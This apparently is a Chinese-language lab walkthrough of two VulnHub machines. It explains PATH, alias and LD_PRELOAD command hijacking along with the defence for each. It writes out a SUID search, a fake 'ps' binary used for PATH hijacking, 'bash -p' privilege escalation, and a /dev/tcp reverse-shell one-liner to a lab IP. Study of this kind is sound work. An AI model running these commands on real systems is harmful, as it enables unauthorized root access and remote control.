第一篇靶机信息:透漏一点信息:文件上传|文件包含|远程代码执行|命令劫持
靶机地址:https://www.vulnhub.com/entry/pwnlab-init,158/
命令劫持提权条件: 首先是suid权限 可以通过如下去找
find / -perm -u=s -type f 2 >/dev/null
suid权限里面还必须含有系统命令才可以
命令劫持(Command Hijacking)是指黑客通过修改PATH环境变量或其他方式,使某个命令引用了恶意程序的行为。具体来说,当系统执行某个命令时,恶意程序会被优先执行,而这个恶意程序可以是一个木马、病毒或者其他任何能够危害系统的程序,从而导致严重的后果。
以下是常见的命令劫持方法及相应的解决方法:
- 修改PATH环境变量
黑客可以通过修改PATH环境变量的值,使执行某个命令时优先查找黑客设定的目录。例如,在PATH环境变量中添加一个与系统自带命令同名的目录,然后在该目录中放置恶意程序,即可实现命令劫持。
解决方法:首先确保PATH环境变量中不包含非信任目录,可以使用“echo $PATH”命令查看当前PATH环境变量的值,然后检查是否存在不必要的目录。如果存在,则可以使用“export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/local/bin:/usr/local/sbin”命令来重置PATH环境变量,将其回到默认值。
- 利用别名
黑客可以通过使用alias命令创建别名,将执行指定命令的行为重定向到另一个命令或脚本上,从而实现命令劫持。
解决方法:可以使用“unalias”命令取消别名。如果存在可疑的别名,可以使用“alias”命令查看当前别名的定义,然后使用“unalias”命令取消别名。
- 修改LD_LIBRARY_PATH环境变量
黑客可以修改LD_LIBRARY_PATH环境变量的值,使其指向一个恶意共享库,从而实现动态链接库劫持。
解决方法:如果发现未知目录被添加到了LD_LIBRARY_PATH环境变量中,可以使用“unset LD_LIBRARY_PATH”命令取消该环境变量。
- 修改LD_PRELOAD环境变量
黑客可以修改LD_PRELOAD环境变量的值,使其指向一个恶意共享库,在运行某个程序时将该共享库强制加载到目标程序中,从而实现动态链接库劫持。
解决方法:可以使用“unset LD_PRELOAD”命令取消该环境变量。
综上所述,为防止命令劫持,应加强对系统环境变量的安全性管理,只使用信任的路径和目录来执行命令。并且对于存在可疑的环境变量或者别名,需要及时进行排查和处理。同时,系统管理员可以采用一些安全审核工具,如rkhunter、chkrootkit等,对系统进行定期的安全检查,及时发现可能存在的命令劫持问题。
echo "/bin/bash" >ps
chmod +x ps
./ps
export PATH=.:$PATH
./shell
通过Web文件包含等内容进入内网
看到可疑文件 使用String来查询内容
cat可以命令劫持 因为他没有全部路径cat
成功劫持
这边有绝对路径所以劫持不了,可尝试其他方法
使用bash -p 来获取高权限
第二篇:
靶机地址:https://www.vulnhub.com/entry/escalate_linux-1,323
通过扫描目录发现存在shell.php 提示密码为cmd
通过反弹shell来进行获取终端
/bin/bash -c 'bash -i >&/dev/tcp/192.168.52.128/5555 0>&1'
首先创建一个非终端
export TERM=xterm
使用find提权 发现存在可以文件
find / -perm -u=s -type f 2 >/dev/null
通过strings shell 来查看文件里面字符串 发现可以文件
在里面增加这3条命令
然后运行shell 会在tmp下增加一个sh文件
然后运行./sh -p 其实就是 bash -p
成功提权到root